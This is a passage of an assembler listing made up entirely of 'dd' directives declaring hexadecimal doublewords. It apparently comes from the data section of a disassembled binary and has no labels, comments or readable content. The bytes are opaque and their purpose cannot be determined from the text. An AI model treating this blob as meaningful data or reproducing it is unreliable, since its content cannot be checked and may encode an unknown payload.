503C90EAh, 509CEC31h, 27DD874h dd 9D11E45Ch, 88C70C15h, 5449082Dh, 0A4C4EC0Bh, 0F0D1332Ch dd 7C207128h, 8635CC7h, 1876EA18h, 0EB01819Ch, 0A8EC515Ch dd 1089B4D7h, 4424F43Ch, 8568B007h, 763AA49Ah, 333C3CF5h dd 12461027h, 6C2BC18h, 894FC04h, 402C9C24h, 0B8064C93h dd 0F81072BCh, 905D4C1Eh, 9CE326h, 0EA2B107Ch, 8A3CBBDCh dd 6EC71DE8h, 281FFC06h, 5EF426F0h, 89BF0C04h, 545CE508h dd 0C0D9264Ch, 6FEC5C06h, 64482008h, 14B0F606h, 2638F05Dh dd 89D401FCh, 58033E95h, 781B3F6Fh, 9C106B9Bh, 0FEAE3C02h dd 94D710C1h, 1CB41819h, 48EEA85Ch, 83458D0Eh, 0C1234A17h dd 9C715F77h, 0E9B8CDE0h, 0C63DAFD8h, 30291338h, 400D0533h dd 77201996h, 28970807h, 262858D0h, 9F0C88CCh, 7420502Dh dd 0B6B7302Eh, 67969C20h, 83CD0982h, 12D61918h, 0B702740h dd 5402A23Ch, 0A88374FCh, 80C1CDCh, 0E050AC9Ch, 185B628Ah dd 1460466Eh, 0C0A132B4h, 30C8BC66h, 113C202Ch, 54189867h dd 50F7E0AAh, 984DE80Fh, 0BAC0EE30h, 6ECA31C0h, 8C584130h dd 706F3D08h, 0E29CA3D8h, 9D544162h, 6F9EEC22h, 9C4C540Ah dd 24042E0Ch, 65765800h, 0AFB5508h, 1F904CFh, 9E38A2DEh dd 9AAAC4C4h, 0A2CC9C91h, 3303144Bh, 0A6442AB7h, 0FB6C7818h dd 98C8BC28h, 0E2188EA8h, 24B6904Ah, 16F4B655h, 7C1806FAh dd 0E8EBB019h, 6890F413h, 47C828A9h, 8DBCE98h, 1120EBE3h dd 609C18BFh, 0C35A1880h, 57BCFD14h, 301778A4h, 0E00BDDEAh dd 0C8E40135h, 485CCA8Dh, 0C6491E19h, 2CC0F192h, 226871E6h dd 22B4C024h, 40B6012Bh, 4B06C6B9h, 47F6DCDBh, 0B88D6008h dd 0EA287CFCh, 0A02790h, 41ED2CD7h, 21E132FCh, 34E1C298h dd 802C327Dh, 3C5AF788h, 0E9B7409Fh, 1CF41B05h, 0E4040CCFh dd 4483C754h, 26F87CC0h, 920F764h, 0EC051076h, 9C4883F2h dd 34640C48h, 9C8BF081h, 163C5603h, 0C812EAF2h, 64C3050Ch dd 99A926EDh, 3BBC0688h, 58260881h, 0A517305Eh, 0F428A452h dd 0AF3B0948h, 0C48FB751h, 808222C9h, 0D0A6EAF7h, 0A88550E8h dd 65BE84B9h, 309270A9h, 17CC9F4h, 6E239700h, 0E20A38C9h dd 78DC14F0h, 0FC2B22B9h, 10A66C7Fh, 2C22FA7Fh, 0BC8C1851h dd 481F606Fh, 60964274h, 88A0BCE0h, 2CC9C27Bh, 0FC068731h dd 0D8175230h, 27852C8Fh, 4C409092h, 60C48025h, 811E5Dh dd 7C4A5BF9h, 50226B06h, 0EC209968h, 79B712EBh, 2164050Fh dd 0C098A253h, 470A257Ah, 1FCE40A6h, 0D0F0C96h, 0E02D5641h dd 0A2E8A4F5h, 0FDF183ADh, 0D59070C7h, 80857098h, 55BBA381h dd 0CC00BEEFh, 0B081565Dh, 48DFBC74h, 990B6818h, 8C16E952h dd 0EEDBD32Eh, 2CC8C215h, 0DC0958A0h, 3C88804Eh, 0B9DBDEF9h dd 0EF416E14h, 207D88E6h, 39298C04h, 3BC0805Dh, 404E9A61h dd 95152C9Fh, 0C014FB3Ch, 922AB076h, 594C8038h, 8C2C534Eh dd 383B1593h, 0EC3A90CBh, 0F17C2864h, 6D7FD0C4h, 6028A54Ah dd 1A9B0AA3h, 8CC4F539h, 0ADB0657Eh, 6E908CE9h, 7451F82Fh dd 0C0AC9926h, 3120C0EEh, 7B1B33Fh, 1CEBF893h, 909A08E9h dd 0E24F6D58h, 0BC9C0027h, 0D5D7CCB1h, 0F1337A5h, 0F88BE95Eh dd 71AB047Eh, 8BB1B884h dd 0D1BE038Ch, 14DAE536h, 0EC498C20h, 0CA9712h, 0AC81724h dd 60FFD7A5h, 0AD333CD0h, 388C20F0h, 94D18809h, 0FDFF7F4h dd 0DEC71DBCh, 0D0C93B00h, 1F262FFCh, 52583CF4h, 0B48418E1h dd 752C7885h, 39606C60h, 32F7A5D1h, 0C780B3Ah, 2CC1F842h dd 0CFD4209Fh, 2E4BD78h, 0F733AB02h, 0C0C950D6h, 9DBE010h dd 0D0B9D7BCh, 0A714B416h, 86B46662h, 34C0F94Ch, 3008D7F7h dd 0CD5444ECh, 9633BC00h, 0C9CAA5A0h, 0EF120069h, 8CC79166h dd 470077CBh, 0ABF23814h, 41D0B6h, 765AA3DDh, 354FCA17h dd 0FC735501h, 43A80778h, 268C1448h, 0E1B53Ah, 0BB564D09h dd 2500D461h, 0C5C6BE2Ah, 4A1D02F1h, 0E85FC0Bh, 418B06A3h dd 4D087684h, 58E61CCh, 0F85825C6h, 7B14401Bh, 38F5D8A1h dd 164C1408h, 4850831h, 654403E0h, 366240E5h, 0C6912D1Eh dd 5C02473Eh, 2AAA4988h, 8F93D601h, 9B06504Ah, 79C9D8A9h dd 0A252F604h, 0D12865C6h, 7F72370Ch, 0A96C873h, 45CDDFC2h dd 209AC33Ch, 50E6C6DCh, 0E47AB60Ah, 41EE78CDh, 4B10050Ah dd 40565082h, 64B8D4C7h, 0D615BE31h, 0AA06163h, 3CEA16ACh dd 96981FE0h, 3DC628E4h, 3AC403A0h, 630965E6h, 0D41185A1h dd 4903C5E7h, 0F5258975h, 5945A069h, 78E65733h, 14FFCF07h dd 80B4AAEDh, 0E437A0CBh, 0E60C3FE9h, 486AFD25h, 0EFB03C33h dd 192B3D10h, 3470418Ch, 0E0E5C3EFh, 1F841D7Ah, 0E89665Eh dd 0A584800Ah, 0B49C7002h, 4FDD3097h, 0C37FD6E8h, 0C7D8D452h dd 0DFB60D64h, 0C7F61229h, 8A2838C2h, 15F4500Ah, 961E88CCh dd 2838B8D2h, 0D9F60C38h, 0B628C78Bh, 37EADE04h, 5705204h dd 772A9213h, 4C15D86Dh, 0C13CEA2Eh, 0E178E712h, 76A19Ch dd 0B7C437E8h, 6516EA27h, 6607F4D4h, 485A2422h, 0DA41C7E7h dd 40856E6Bh, 19A6516h, 0D22BCF9Ch, 0ED1C0A6Dh, 36C4BE76h dd 20B95C01h, 0E5147FA4h, 9EF305Ch, 0A4B3EB88h, 1FD6E003h dd 3783047h, 0AB4D9231h, 0F6280C9Dh, 45C8E1B4h, 54E6F424h dd 3447C658h, 0A031AEC2h, 6456375Fh, 41350240h, 29E6DC5h dd 0F161E8B6h, 1A44A24h, 0F5EC7CFCh, 0B840077Fh, 5620B7E1h dd 57043C44h, 90BFF43Ch, 0F77A76B8h, 0A01CA8D4h, 1483AE92h dd 0AC0A82FCh, 20C31571h, 0D68028E4h, 899FBF6Ah, 393678C4h dd 0D5459881h, 1225A820h, 2CE5268Ah, 4118EFC0h, 0D689F21Ch dd 3ADC00DDh, 0F4AA34C4h, 0F62BE945h, 0EA817413h, 7E52C52Ah dd 635F600h, 0C705E73Ch, 0CE1212Ch, 96602CBAh, 0E9273A02h dd 435E7825h, 1DFA12B8h, 6D1028A4h, 0DC303EFAh, 4FB66081h dd 7FC8C45Fh, 74288E3Bh, 89A8C14h, 3CC3D08h, 822705E6h dd 0C016A089h, 4604423Ah, 18348304h, 5F7E071Eh, 81E723EDh dd 80EAE66Bh, 1A6AA921h, 749B724h, 0D9B5B39Eh, 6484EA1h dd 5D5A7B07h, 0FD69F050h, 689B0047h, 6110BE8h, 0A5616C4Eh dd 96014634h, 0F2925B60h, 3FF90382h, 212B8D91h, 833CC9F0h dd 68725A01h, 4B1A4892h, 0B62C180h, 31E6D9B9h, 0C92B5107h dd 15429228h, 2209008Fh, 2BB82A0Dh, 0B7039701h, 4F346318h dd 7F35FCh, 6532E645h, 0E7F91924h, 0E39AA81Dh, 0DED09747h dd 0F6CED7E0h, 0C63CA573h, 3C8020AEh, 0E9726061h, 168EEB00h dd 4B3B4993h, 70C602ECh, 5C4E15BFh, 43AF807Dh, 30238563h dd 0F70E36Dh, 0B628CA2Eh, 0CC01F49Fh, 0DF673CE8h, 0C9E8891Ah dd 0A863F2B3h, 2C8ED4h, 7FE717F3h, 12739EC0h, 78FCB275h dd 0E53C20h, 0B70CF166h, 0C69D1D25h, 4487E101h, 2B7B60F9h dd 30F376EDh, 88ECB1B8h, 2EFABF75h, 0F9D11200h, 60A03D9Ah dd 745EE85h, 0E154277Ch, 0E4DF0067h, 6A028896h, 73729392h dd 0B85CA031h, 106371E9h, 80E8DE7Fh, 0E643E070h, 5B4900CAh dd 272A8A33h, 4F636771h, 0D8920538h, 0A97B98h, 56A189F2h dd 0F0887A72h, 2D249318h, 6505F9h, 0CECDAE31h, 0E4C513DDh dd 18C8A002h, 44E7FD70h, 1A690250h, 9F319D87h, 1F8C18h dd 18CA8239h, 92575BD7h, 0F99D0500h, 19B48547h, 948E00BDh dd 78D4A7EFh, 64637E9Ch, 99AD5278h, 898006F8h, 0CA8E1ABCh dd 2429F121h, 395940E7h, 44020A0h, 3AA90181h, 7F20905Bh dd 0FF00E157h, 47A0E6A2h, 24CDC58Eh, 0DC806AB9h, 0A44C8D00h dd 97D5FA10h, 2B4600EBh, 9D9F7D51h, 1502A7E8h, 0C5C90944h dd 0E204487Ah, 2208C013h, 877B017Ch, 84392500h, 0C84895A2h dd 505A0040h, 28DB0946h, 309A2F34h, 6791D600h, 55F37EB8h dd 12260085h, 0DA13BDE1h, 3500B728h, 0CEA2F824h, 2EE6A0h dd 7DA3B5C2h, 8E18CCDCh, 0E0CF9F06h, 70509E4Fh, 0B1540CC7h dd 0AC404C5Fh, 0A4083564h, 0AFAE1493h, 8D534AE0h, 0AC9C1CEAh dd 32BD0040h, 31A78990h, 2C139E0Ah, 2403284Bh, 0D25F0211h dd 0A0861883h, 566CB083h, 9EA93EADh, 6BF7AB80h, 616E4C34h dd 0B536FA1Dh, 595B4001h, 39D4F12Dh, 7C8281Dh, 345652D2h dd 0A115DB01h, 0BDA1427h, 53446700h, 32ABD8F0h, 0FED17900h dd 0FBAE910Dh, 0EBE50084h, 8BB13AEEh, 10086B4h, 50D9FE36h dd 0F1F03C6Ah, 12C398F0h, 30FB8918h, 9A293434h, 4830BC48h dd 0F6C9B0C4h, 0A658000Ah, 659C18C1h, 0C624036Eh, 0BC3FDC30h dd 403DA66Fh, 0C930E01Dh, 0FEF5FE9Fh, 1AFF001Dh, 0B7EEED1Fh dd 4F003E44h, 6E42C5E3h, 15F9EBh, 0C1F6A037h, 84A12A94h dd 67CD0E00h, 1E175627h, 0F254A4BAh, 0B96139D7h, 12C2C738h dd 0C8001952h, 0C25DAF74h, 99053C9Ch, 0A87E5B80h, 0B628DFFFh dd 1CB93538h, 0A7814DCCh, 2E4FCE56h, 2FC81896h, 9069694Ch dd 2E1A4Ch, 22062F02h, 5391D787h, 1500B490h, 0E1C86A35h dd 0A810D189h, 1F4A3688h, 0C0B58733h, 7A6DB75Bh, 104CA7BEh dd 3918096Ch, 0D03774h, 4B4C95B0h, 0E41FA290h, 7DC5048Eh dd 508081EDh, 725D6A69h, 5E850B54h, 2280F5C4h, 167DBDE4h dd 0A804300Ch, 60BE71B3h, 20120855h, 9924DD45h, 0A8003128h dd 809C48E8h, 9F760F82h, 15AE9251h, 42AF03FCh, 9DB8CC18h dd 6771BD94h, 0B04130C0h, 3AC5D6Dh, 3AA223CAh, 0AEF8D0EDh dd 749826D1h, 304019EDh, 53E9983Ch, 0CD30B8A8h, 1093FF21h dd 0E6C94200h, 951D902Ch, 805A582Fh, 3D603382h, 871CD00h dd 7DC4A0B0h, 2C2B0119h, 132EA5E6h, 5CDC00A1h, 0C557008Ah dd 0A32B9EEBh, 7F0007C2h, 0E6B49868h, 38A51918h, 90812761h dd 9267EF38h, 6ECC585Bh, 0CFB2B902h, 1338F018h, 2C276103h dd 98347319h, 3A1F7C61h, 40D0A820h, 94EA3027h, 0C90FDFD9h dd 8A26D201h, 0A3CDBC78h, 17256AD4h, 4181AB51h, 323F61A4h dd 52102029h, 0B53A22h, 5E88B1B3h, 855ABF6Fh, 61B2F926h dd 0A437BA09h, 88D8D060h, 5712070Dh, 28382468h, 0A140DB44h dd 15100DF1h, 4787931Ch, 0C48CF5CEh, 0C1EED02Dh, 60B98212h dd 0EE3B1CAEh, 0FE948F1Dh, 7D4E19Bh, 39D45AC2h, 3ADF3C08h dd 0C4919E00h, 0FE47E181h, 0B91CF200h, 0E6E86ACEh, 9C5A1E9Ah dd 72CCC0F9h, 0E2C33A62h, 50E4471Eh, 0AD25D440h, 3AFC5E7h dd 2E6C4CC9h, 1E87CF5h, 0A2001335h, 0B1262AF0h, 1B62FACh dd 3398ED46h, 0EC721DA0h, 8307DEABh, 75A1CB51h, 7DA980A0h dd 0D6890387h, 0B4C86FDFh, 3A1801C0h, 20008CFCh, 4A5BACF9h dd 9097A1h, 0FA7DE448h, 792D6142h, 0B2D7D60Eh, 8034A756h dd 5E0F85A0h, 0B113319Bh, 0CE10459h, 475D0222h, 9050BD3Ah dd 2C80014h, 0F0A8A5B9h dd 0A7EE934Eh, 4E89A0Fh, 21CF3C2Dh, 68F3E1B1h, 8BF4EDD2h dd 0E168C115h, 407E06EEh, 6360E4A8h, 0C070C26Eh, 552AD2BFh dd 1AB90F22h, 0A180FC11h, 0DDE2C087h, 5CF6C105h, 8D01527Dh dd 8AA64E96h, 30C4CC50h, 3820007Ah, 0B77AFB4h, 0E0F287DDh dd 2D4770C3h, 1EF7B89Bh, 422500B4h, 96B3F621h, 0F10040F4h dd 0C43B4FBEh, 0DD3672h, 0D21DA6A0h, 83B569EAh, 67F4350Ch dd 934880h, 0DF42579Eh, 0BF48874Eh, 5E468301h, 7266239Ch dd 74968C40h, 87530004h, 25990754h, 4600F0E7h, 83B38FFAh dd 0C0B7B63Dh, 0C748E4B9h, 0F2009B0Eh, 0F7B4CD33h, 602CD8D4h dd 0C99D21EEh, 0FE013290h, 0B375ADD7h, 0CCD0AB70h, 384A80E3h dd 15E7939h, 69128E88h, 0D6702228h, 0FC7C8Dh, 0B7CE8919h dd 0E27E3297h, 0F0E553h, 842162C4h, 84978740h, 0E20B5F00h dd 0BA80BE7Dh, 915A00EFh, 7333A87Fh, 6000C339h, 0EE0CF6C6h dd 1CDDD031h, 2E5EA4h, 0F91B1936h, 2D5492D4h, 0A838B760h dd 8C2710D0h, 4E04FC4h, 2C003DDCh, 0D86A3BF8h, 35801900h dd 56C3B55Dh, 46F8A4E3h, 7BCC014Ah, 35144464h, 9741570Ch dd 3B5D3C8h, 8DF6EBD7h, 0B2F842A3h, 970E95D0h, 8073413Bh dd 9CF55515h, 12A971E1h, 1EA7197Eh, 2E6700B0h, 0FA5B1618h dd 0F8049E07h, 0B046A0F4h, 0A6260021h, 0F2F168CAh, 8A09CFE8h dd 217675BFh, 0B3526C8Ch, 618028BFh, 126E9205h, 933C33B4h dd 566A803Bh, 1E6F766Ch, 94CB015Bh, 41F22E04h, 31E0F713h dd 0D1DA58Ah, 0F4C09545h, 0E0BC68ABh, 0E30008Fh, 8B9BD7B1h dd 0EE00E4FAh, 0F2B2F473h, 0C90DA3h, 22777534h, 0E05D187Eh dd 82D74914h, 0D83AE0h, 7769E772h, 0D02202h, 0BDA1F84Bh dd 8032D442h, 900C2F8h, 0B320EF2Ch, 0FB1E10h, 0BEC49227h dd 8076CD12h, 807CEB3Ah, 0B210E4Eh, 34E82Fh, 7BF9D825h dd 8009DCE5h, 9EA71700h, 4620AB99h, 9C363DDh, 2000D850h dd 4805D237h, 0F3B584h, 1C6BA0BDh, 0DF6CB171h, 0CA002B7Ah dd 6D207DD7h, 3CDD1268h, 5A003614h, 0B1E9AD1Ch, 56000155h dd 0EF5E7022h, 7CA50E0Ah, 5D83309Ah, 0E54B4208h, 0B6549207h dd 6F108738h, 0F61C831h, 5E723B8Dh, 0E119A87h, 7CA54441h dd 0BA74EC0Bh, 5DC7A00h, 59EEB275h, 69830046h, 0C308B4C0h dd 0B6004292h, 170C8F63h, 54ACAh, 34FBA082h, 0A8EFEDAEh dd 0D810FE06h, 1AE3D9h, 74C5B657h, 0EE4FDC8Ah, 91B7E203h dd 96D1809Dh, 0B64400A8h, 0BD5D730Bh, 7E70A465h, 4CC15B00h dd 9837270Eh, 0A573DB5h, 21DA9500h, 5DB73C2Fh, 2E47C0DFh dd 789742A5h, 0E4A046F7h, 7615D4h, 4D0C6E63h, 5E36CB3Eh dd 8B402000h, 0F3CD6158h, 1C10F0A9h, 4031C08Ah, 0DBE76274h dd 4C0077C9h, 0CC578011h, 91162Dh, 215F0FCh, 5AB52EB4h dd 40273A00h, 0B23721DBh, 0BE5807D5h, 8645FA29h, 18C358F1h dd 0D0D438CEh, 330B3A5Dh, 9131D7EAh, 0BDC1C7A0h, 8BA7E500h dd 546730B1h, 0A0E13A98h, 7D60D601h, 80436B13h, 0D8BA6CE0h dd 0EFE8DF3h, 2C6A4F1Ah, 56E5D460h, 3F0FA6C5h, 0E68334D3h dd 1C509F35h, 2362542h, 0BDC6D43Eh, 0C3030C44h, 62333271h dd 1DC0BCBEh, 0ADCF285h, 0A1142C38h, 0E09A18D4h, 0C8C0E037h dd 0A8D4E27Fh, 8D8600DCh, 0B9724596h, 54009FDDh, 2CBF063h dd 4C84BCC6h, 52059907h, 2082A9C7h, 0C2087C04h, 0C961E2Bh dd 300846DBh, 0F5E6F680h, 6D00CCDBh, 977F17EFh, 0AA240FBh dd 96D9E3EEh, 0FD53080Ch, 0C4719443h, 23FCFF44h, 0A723BC6Ch dd 831626CCh, 10D6BA0Ch, 5244E928h, 0DC3CA8CBh, 0F769443Eh dd 4110F942h, 905F8E1Fh, 6A655E82h, 54451B25h, 300AE6F3h dd 0B8904887h, 21F843C4h, 0C43595Dh, 9A49006Fh, 83FBD980h dd 331FCC52h, 88C53782h, 0A8228AE9h, 0F7837DF9h, 6A8822A0h dd 4E3047CAh, 68D207Ch, 4286006Eh, 5878A8CEh, 39C0C9E0h dd 0F2537E48h, 0AB630377h, 35591EF8h, 21FF69A0h, 5592DE00h dd 0D529513Ah, 0E948002Ah, 0E2356A41h, 9B61207Ch, 0FA03A368h dd 7186BD0h, 0CC7A9F9h, 0C0E0F059h, 920280CFh, 0BE70F88Ah dd 204C905Fh, 14C00E4h, 2F025284h, 0DA0446C3h, 9C156876h dd 75EF9FC0h, 737E0056h, 7D3E29AFh, 53F87106h, 0EEC73500h dd 0D2835134h, 1F6230BBh, 745DAC68h, 7AA1C10Eh, 790E9E27h dd 5423407Eh, 5A1AB3h, 65BC7C0Ah, 0B7374A3Eh, 1C91C128h dd 57C20700h, 0D30C6619h, 3DC900FFh, 77993545h, 0E8F2F4CBh dd 8F949D07h, 22104D9Bh, 9A2BE4h, 0DC0D061Ah, 0F4AE092Dh dd 8B0FAC00h, 11026378h, 528F18FDh, 40CA2830h, 0E0AB4F00h dd 46A6B4C4h, 58B60E7Bh, 5B2033F0h, 60942611h, 5C440B29h dd 806CD980h, 880641h, 9BC07F5Fh, 48DD740Ah, 0EC0783F4h dd 0ED0D7BC8h, 6BF087B7h, 0FA94DCh, 7E46C540h, 0CD9A19D3h dd 93002E7Ch, 0CCC7E8A8h, 0BE2250h, 3F75A3DEh, 7D6C1DDh dd 28D14030h, 0FAEC19DFh, 30E224h, 0B2A013BEh, 0D0057BF7h dd 0FE007EF8h, 0F883D628h, 9CC046h, 3DF55710h, 0A3AEDC47h dd 0CA092E00h, 0DDC36712h, 0E061052Dh, 8170298Ah, 0D2FA9F7Dh dd 0BC53589Ch, 0E579834Ch, 0E25E0082h, 1A7D1680h, 0FB17117Eh dd 0C9003436h, 0C1125051h, 0DB213C32h, 3AA5D10Eh, 8D1740D8h dd 1F63C07h, 318CFA16h, 247019h, 0FD3A07D0h, 0A05A65F9h dd 3F01A3Ch, 0BC4F1F64h, 0F38DF8AEh, 349E00D6h, 0A85AAB95h dd 0D500EF9Ch, 0FA45C747h, 15CE3B57h, 0B82A8D0Ch, 372BD803h dd 0B8F83309h, 7F03A146h, 725B6228h, 23B05876h, 0F3024403h dd 907F16A7h, 0B8E0DD30h, 64971E3h, 5AE642B9h, 3000307Ch dd 7AF9FC62h, 29F628E8h, 5EAC5D7Fh, 1AB298C5h, 30F7DF00h dd 74DE68A4h, 0D3C40059h, 0B66099ADh, 5A1EC72Ah, 6A1D63F5h dd 7E8C1900h, 2B487B75h, 0F0448E14h, 0D8008ED5h, 5E265460h dd 9D849Fh, 0D75ABD61h, 194B3B58h, 5174B100h, 4F6BEEDDh dd 977F8Bh, 21C1E5B9h, 5B033932h, 0FD7AED01h, 2EF852DDh dd 0FEA67EF4h, 0D1B000F9h, 238AB696h, 0A90056ABh, 0B90E1CF5h dd 33AE0BEh, 0BFB8F8D5h, 0B448C4h, 1741EC43h, 0F0B007B4h dd 0B0081B65h, 8FE6C253h, 1301B9F2h, 0B276690h, 32F19D2Ch dd 3B1C92D0h, 23805DC1h, 28D73989h, 0D0F33CFBh, 3E3BA663h dd 0FD6B804Dh, 4987C27Fh, 0B3090323h, 0C7892D03h, 0EF842844h dd 0CE58EC00h, 88E01143h, 9C2107B0h, 0C0965BBCh, 53AEDA28h dd 0D03A47Ch, 49BA9536h, 21BDF074h, 42F43CA5h, 0A7ED00FAh dd 8EBE3B1Ch, 1A007332h, 0B215D527h, 1D827Dh, 4921297Eh dd 0BAB4F839h, 3294F700h, 12082CAEh, 0C2F40058h, 53297D88h dd 2F0030ADh, 4D2B96DDh, 5833B69Ah, 3C00FFA9h, 6F5A64D7h dd 2478F908h, 0F1266E03h, 0A07F1185h, 74FC4D05h, 4E551CEDh dd 1E5CDE0Ah, 906AC098h, 0D3823835h, 3603584Eh, 260953h dd 43EB5480h, 56EF146Bh, 9F444Ch, 2EFFD5DEh, 1F49A3E0h dd 92A407CFh, 0D70300BEh, 0B357FD2Fh, 456FD300h, 0D02AA17Bh dd 0F90700B9h, 0FEA659DFh, 9600864Dh, 0AA360A57h, 0B0F1FDh dd 5411CDBDh, 3D5AF22Dh, 253DB674h, 37491C01h, 95ECDB00h dd 50BF4275h, 0A5948C4Ah, 0DA3D8E80h, 5E44258Ah, 2DE90D60h dd 2108D7Eh, 0B982EB1Bh, 86426A48h, 8165C422h, 0ACD69090h dd 3E98180Ch, 30838FFh, 2531D08Eh, 11045507h, 23E839Bh dd 853A8724h, 0C31803FDh dd 21EC9083h, 0B7E097EBh, 0E5778053h, 80E179C0h, 0C039FFh dd 48B69B0Fh, 0B8829FD8h, 0ADD66900h, 39459E2Ch, 6797023Eh dd 0D2BD1D54h, 6E2EA482h, 0D380AD40h, 84A81639h, 44BA2C83h dd 4FA51C80h, 4700F3E9h, 0B5180908h, 0EFA0139Eh, 20B80093h dd 11380A6Eh, 3001E8Ch, 0A66918DBh, 5C2F3C10h, 8A0E36BAh dd 0A6CA179h, 0BF0039C9h, 0BC93C583h, 5ED896h, 0BD459F3Bh dd 0E5CF1136h, 3CE40354h, 67ED3215h, 0B3120C88h, 1FD0E8Fh dd 4611F077h, 0E410CBFCh, 0B7307F94h, 52E8481Fh, 247330C8h dd 6BE9F239h, 0C003417Dh, 183CBE8Eh, 0A0A6A286h, 479BFFDCh dd 901A00AAh, 0A74978F8h, 8203C2CBh, 0F4A04C99h, 8FB6F03Ch dd 3BC502B0h, 1B02C312h, 85E80848h, 30A0D5Ch, 587010FCh dd 8F082A67h, 488D0094h, 7C8219FDh, 0E8ED0B36h, 0D4902605h dd 0CCF10426h, 0D1DAE501h, 6C2151C0h, 2DB66E0h, 77B69336h dd 0F8A082C8h, 5C9A9612h, 11096030h, 0E67EFD74h, 879D033Bh dd 9E9AD327h, 0C48E0A2h, 6500B8BAh, 0B78FB2DEh, 0DFCB94Eh dd 25FB7745h, 5A55C420h, 71725400h, 802EEBB8h, 0A8F036Ch dd 0F9C55CBCh, 2660A0CFh, 0E91245FDh, 845F216Dh, 0FA3BCE02h dd 5CB8A2CAh, 6EE51891h, 0E0210D7Dh, 43399285h, 47C85300h dd 36D2B403h, 0A7A3F964h, 43601C62h, 4A7800E3h, 4D406519h dd 1000C2C4h, 4547A05Eh, 0EA7C2681h, 2F5A0411h, 0C0C59D0Ch dd 0B5876A3Ah, 0A68D5E00h, 0DC167B3h, 2D191FF3h, 0D2CE4h dd 14053DCh, 27034183h, 0D96A972Fh, 0B28AA833h, 371FE72h dd 0AAF48D4Fh, 15D80540h, 0C60E76CAh, 80D29C24h, 63C7E613h dd 0D3DF5CD9h, 46683104h, 85E080EBh, 73010C22h, 0B8BEF625h dd 0E0CB088Ch, 386CAC1h, 23842C9h, 0A3E84788h, 4A00F0D6h dd 455E3BAAh, 9D867Dh, 24FF3AA0h, 4BE22BD7h, 0C889B11Dh dd 0E0E44A40h, 28CDA6h, 0AD5E0783h, 0E1A4D2D8h, 0E791B800h dd 0F5E2E4D0h, 98A63DCBh, 40AD06F3h, 0CC712F8h, 0A2641F00h dd 0AB35F769h, 8DE00031h, 9BCE9CA7h, 0D600A852h, 1613F3C4h dd 0AEEC05h, 240CCF20h, 1B3A6162h, 0F877B700h, 0C8EEB21Eh dd 5AB0014Dh, 80137BC1h, 703FF556h, 3B078993h, 6066E8F4h dd 4FD42240h, 0F9C800F2h, 2D8473Ch, 0EC7C6CE3h, 553A391Dh dd 0C2AEFDC0h, 0FE367Eh, 9FBEE268h, 3FEC0F14h, 0AD867000h dd 69BF85B1h, 2F480013h, 0C845C27Ch, 0CF00465Ah, 0DB107E95h dd 9DF5927h, 132C35EAh, 573A2700h, 0F40005CAh, 2A758740h dd 3102C15Dh, 0DB51BC59h, 6367023Fh, 223800FBh, 0FEC37281h dd 0E4375DB6h, 7D22289Ah, 94C40716h, 75A5044Dh, 48E24F44h dd 0C75841A3h, 80C90257h, 0F3765128h, 40697EBCh, 52006C64h dd 26E1EE9Ah, 2EC43412h, 53C56Ah, 0BB1053E3h, 1A003AB9h dd 5CD754DEh, 0D3B080h, 51F711EBh, 72C32CCEh, 0E624B9B8h dd 900F930h, 7C95B866h, 103F86Ah, 0BC92E967h, 0EC29F484h dd 7607E6D0h, 9DA12B9Fh, 86D3A200h, 0A5703Eh, 2619C5D7h dd 0BB4C251Eh, 0B770EA00h, 1779E10Ah, 9BE31752h, 95A6A05Ah dd 2FECD700h, 4D914E6Ch, 478C0077h, 0FAA36F02h, 0C00F9EBh dd 7A19352Bh, 0C349AE9h, 65C65D8Dh, 46000F30h, 0CCBA1404h dd 78DE381Fh, 2C90A8h, 0E35836B9h, 0C1C73083h, 0AE4CB701h dd 5DDC0AB5h, 996EBD8h, 0A7FFEF65h, 0CAA34E00h, 0A91B769Dh dd 0A910DCCCh, 28E43635h, 18DA03B1h, 0F80E7BD0h, 0B709CCA0h dd 0FF509B0Fh, 0CAAA2069h, 0E4854AEh, 8C7FEAA7h, 0C82E5881h dd 84D82059h, 0BF4A3300h, 3543EF61h, 50749Dh, 0BA5E6B71h dd 77A773EAh, 8B34C500h, 700A3DFCh, 207100B4h, 857EFABFh dd 393BCF1Ah, 3E9500E2h, 0C237B935h, 3BF20044h, 99583368h dd 0FBF50BEDh, 0DE1D06C0h, 0C3E70300h, 0C6A43ADBh, 10521C22h dd 4D4B80E6h, 9148D1A6h, 724ADE00h, 0F9E4C328h, 83F00E7Ch dd 2980ABC0h, 0EB93B0EEh, 2100D77Bh, 1B49164Bh, 3C1EF323h dd 66007A0Dh, 5C7C6EA6h, 470BC254h, 55E1579Ah, 2AD22900h dd 664CC426h, 58A50216h, 805B99F9h, 0E63B2F88h, 1CEC30ACh dd 1602360Eh, 0AEBB3C00h, 0E46AB41Bh, 404B00C6h, 63DF76Eh dd 0FA001535h, 0D525908Dh, 0B016CF0Bh, 58730016h, 9C34F26Eh dd 0F53D13AEh, 69CCCDh, 9AE8DF36h, 0E6E25044h, 0BC350095h dd 0E594CFA5h, 0C1363A7h, 38017DD8h, 0B1F772D7h, 3ACD3EFCh dd 6C8010F2h, 0D9F4DE32h, 0AC05FE61h, 0D8D154Dh, 0BB28D080h dd 82110014h, 91E462A1h, 1F03CE43h, 88354D44h, 80F8AA18h dd 0BF5B7CE6h, 4FC2006Bh, 0C7267E40h, 31181324h, 0D21038B4h dd 0D83A50ABh, 0EF5B0045h, 11D87748h, 0C40042E7h, 3CDBB5B6h dd 39B3420h, 6F480892h, 66C8E240h, 0A35C16A2h, 7DD60096h dd 396BA815h, 8B183DC2h, 0D0845C00h, 8651B598h, 14DC8C00h dd 0CBCF34A0h, 0C82F00FCh, 5EB2E48Eh, 85009DA5h, 21C290D9h dd 1FBFDBEh, 0DE40B597h, 0ECA7107Ch, 0F40072BDh, 6285F1ADh dd 4A543h, 2FEF3B06h, 8E7A86DAh, 0FC7B750Eh, 3EBD00A4h dd 3E4B1B55h, 17F5601h, 57604C8Fh, 0FC46DA3Dh, 370051FFh dd 0C641DB80h, 3949906Eh, 9A807F76h, 0E2F9E57Bh, 0ED00F211h dd 0E0CF98D3h, 2066ACh, 8242D412h, 0C9C4435Bh, 3B7BAF3Ah dd 219B80E7h, 72607C75h, 85D50064h, 0E9FF3D59h, 0D700B8ABh dd 81764A50h, 1C15BC58h, 597B546h, 802BE114h, 8D1CC1A8h dd 314BB800h, 7851D5C6h, 995700C0h, 9CD82A85h, 950001B6h dd 0E538D40Bh, 7F6C07h, 8A99C37Ah, 0AA4BFCFEh, 54A8DCA8h dd 2800C8E0h, 0AED5018Dh, 3E2124h, 4D7BEADEh, 556ABB84h dd 30EE4630h, 98DAE71Dh, 4C8D3C65h, 685BFC01h, 6089F355h dd 